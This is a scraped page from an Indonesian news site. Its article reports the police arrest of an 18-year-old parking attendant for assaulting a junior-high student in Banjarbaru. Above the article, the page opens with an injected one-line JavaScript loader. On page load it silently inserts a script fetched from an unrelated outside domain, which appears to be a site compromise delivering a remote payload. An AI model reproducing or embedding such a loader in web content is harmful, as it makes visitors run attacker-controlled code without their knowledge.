(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polisi Ringkus Preman yang Ditakuti Anak Sekolah


BANJARBARU, Polsek Banjarbaru Kota melalui Unit Reskrim berhasil meringkus pelaku penganiyaan anak dibawah umur, pada hari Kamis (14/9) sekitar pukul 11.00 wita.

Pelaku yaitu Erlangga alias Angga (18) yang sehari-hari bekerja sebagai tukang parkir di kawasan kota Banjarbaru. Angga sendiri ditakuti banyak anak-anak sekolah karena dikenal ebagai “preman” dan cukup ditakuti oleh kalangan anak sekolah. Namun pria yang seluruh badannya di penuhi dengan tato tersebut tidak dapat berkutik saat dibekuk pihak kepolisian yang mendapatlan informasi dan keluhan dari masyrakat.

Penangkapan yang dipimpin oleh Kasubnit II Reskrim Polsek Banjarbaru Kota Aiptu Syarifudin ini berjalan tanpa perlawanan pelaku. Aiptu Syarifudin menuturkan bahwa sebelumnya angga ditangkap berdasarkan laporan orang tua salah satu siswa SMP di kota Banjarbaru bahwa anaknya yang masih duduk di bangku sekolah menengah pertama menjadi korban penganiayaan salah seorang “preman”.

“Memang awalany kami mendapatkan laporan dari orang tua siswa salah sayu SMP di wilayah kota Banjarbaru yang menjadi korban dari si pelaku ini,” ungkapnya.
Kronologi penganiyaan itu bermula saat salah seorang teman dari Angga yang juga duduk di sekolah menengah pertama bercerita bahwa memiliki masalah dengan korban. Namun pelaku Angga yang memang memiliki tempramen tinggi dan mengambil hati langsung mendatangi korban. Selanjutnya korban dianiaya pelaku dengan cara ditendang berkali-kali.

“Saat itu akibat aksi brutal pelaku, korban mengalami luka memar di wajah dan badan, orang tua korban tidak terima dan melaporkan kejadian ini ke polsek Banjarbaru kota.” lanjut Aiptu Syarifudin.
Kini aksi premanisme Angga sudah tidak lagi menkhawatirkan anak-anak sekolah. Kapolsek Banjarbaru Kota Kompol Purbo Rahardjo melalui Kanit Reskrim Polsek Banjarbaru Kota Iptu Yuli Tetro menuturkan pelaku akan kami kenakan perkara tindak pidana kekerasan terhadap anak di bawah umur pasal 80 ayat 1 UU No.35 Tahun 2014 tentang perlindungan anak.

“Kami juga menghimbau kepada masyarakat terutama kepada orang tua siswa agar selalu mengetahui pergaulan anak anda. segera peringati anak anda apabila bergaul dengan orang yang tidak dikenal yang dapat mempengaruhi kepribadian anak kita,” tuturnya. (Rico)


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

7 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

7 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

8 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

8 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

8 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

10 jam ago

This website uses cookies.